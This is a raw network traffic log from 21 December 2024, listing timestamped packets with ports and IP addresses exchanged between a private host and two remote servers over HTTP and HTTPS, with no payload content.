Dec 21, 2024 18:16:35.690061092 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.690167904 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.690212011 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.691008091 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.691095114 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.691139936 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.692199945 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.692246914 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.692284107 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.693196058 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.693242073 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.693500042 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.693730116 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.694267988 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.694322109 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.694392920 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.694432974 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.695369005 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.695408106 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.695420980 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.695446014 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.696501017 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.696549892 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.696588993 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.696626902 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.697717905 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.697844028 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.697897911 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.698766947 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.698784113 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.698834896 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.700243950 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.700303078 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.700403929 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.701286077 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.701332092 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.701390028 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.702362061 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.702434063 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.702595949 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.702642918 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.703561068 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.703618050 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.703728914 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.703774929 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.704668999 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.704719067 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.704762936 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.704812050 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.705846071 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.705962896 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.706011057 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.707005978 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.707154036 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.707204103 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.708210945 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.708259106 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.708362103 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.709018946 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.709440947 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.709533930 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.709577084 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.710580111 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.710692883 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.710733891 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.711801052 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.711849928 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.711924076 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.713000059 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.713063002 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.713093042 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.713399887 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.714104891 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.714211941 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.714253902 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.715295076 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.715378046 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.715423107 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.716485023 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.716526031 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.716595888 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.717363119 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.717607021 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.717647076 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.717750072 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.717812061 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.718801022 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.718843937 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.718914032 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.718950033 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.719994068 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.720032930 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.720241070 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.720274925 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.721297979 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.721338034 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.721513033 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.721551895 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.722362041 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.722512007 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.722547054 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.723536968 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.723627090 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.723687887 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.724730015 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.724875927 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.724926949 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.725872040 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.726005077 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.726044893 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.727044106 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.727231026 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.727271080 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.728236914 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.728359938 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.728399038 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.729448080 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.733608007 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.747807980 CET	443	49828	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:35.747916937 CET	443	49828	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:35.748111963 CET	49828	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:35.748246908 CET	49828	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:35.748286009 CET	443	49828	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:35.760194063 CET	49841	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:35.760282993 CET	443	49841	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:35.760386944 CET	49841	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:35.760648012 CET	49841	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:35.760683060 CET	443	49841	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:35.860594034 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.860687971 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.860781908 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.861044884 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.861185074 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.861233950 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.862253904 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.862380028 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.862425089 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.863415003 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.863461971 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.863554001 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.864695072 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.864733934 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.864734888 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.865220070 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.865758896 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.865977049 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.866031885 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.866967916 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.867063999 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.867115021 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.868138075 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.868184090 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.868241072 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.869330883 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.869354963 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.869368076 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.869443893 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.869492054 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.870544910 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.870593071 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.870709896 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.870776892 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.871715069 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.871763945 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.871850967 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.871905088 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.872843981 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.872893095 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.872965097 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.873009920 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.874068022 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.874182940 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.874233007 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.875214100 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.875298023 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.875345945 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.876373053 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.876422882 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.876499891 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.877494097 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.877609968 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.877655983 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.877698898 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.877748013 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.878739119 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.878788948 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.878885984 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.878933907 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.879961967 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.880007982 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.880050898 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.880094051 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.881167889 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.881220102 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.881239891 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.881283998 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.882296085 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.882415056 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.882464886 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.883522034 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.883608103 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.883660078 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.884665012 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.884758949 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.884808064 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.885828972 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.885977030 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.886030912 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.886989117 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.887041092 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.887084007 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.888184071 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.888233900 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.888278008 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.889296055 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.889410973 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.889532089 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.889578104 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.890549898 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.890752077 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.890800953 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.891720057 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.891746044 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.891769886 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.891798019 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.892898083 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.892946005 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.893011093 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.893059969 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.894084930 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.894243956 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.894294024 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.895248890 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.895348072 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.895399094 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.896429062 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.896477938 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.896492958 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.897419930 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.897603989 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.897648096 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.897742033 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.897783041 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.898902893 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.898947001 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.898989916 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.899029970 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.900542021 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.900583982 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.900597095 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.900800943 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.902255058 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.902317047 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.902343988 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.902390003 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.903131962 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.903167009 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.903207064 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.903218985 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.904030085 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.904102087 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.904237032 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.904290915 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.905067921 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.905126095 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.905138969 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.905188084 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.905914068 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.905999899 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.906013012 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.906116962 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.907037020 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.907116890 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.907152891 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.907198906 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.908209085 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.908325911 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.908370018 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.909404039 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.909620047 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.909661055 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.910588980 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.910646915 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.910690069 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.911839962 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.911919117 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.911979914 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.912070036 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.912959099 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.913018942 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.913050890 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.913089991 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.914330959 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.914391041 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.914437056 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.915285110 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.915406942 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.915467024 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.916526079 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.916605949 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.916652918 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.917623997 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.917694092 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.917736053 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.918854952 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.918901920 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.919040918 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.919090986 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.920145988 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.920162916 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.920196056 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.920212984 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.921181917 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.921231985 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.921281099 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.921329021 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.922338009 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.922391891 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.052881002 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.052928925 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.053097963 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.053097963 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.053116083 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.053165913 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.053198099 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.053287029 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.054068089 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.054116011 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.054167032 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.054208994 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.055250883 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.055299044 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.055346012 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.055389881 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.056467056 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.056512117 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.056548119 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.056591034 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.057717085 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.057763100 CET	49826	80	192.168.2.4	31.41.244.11
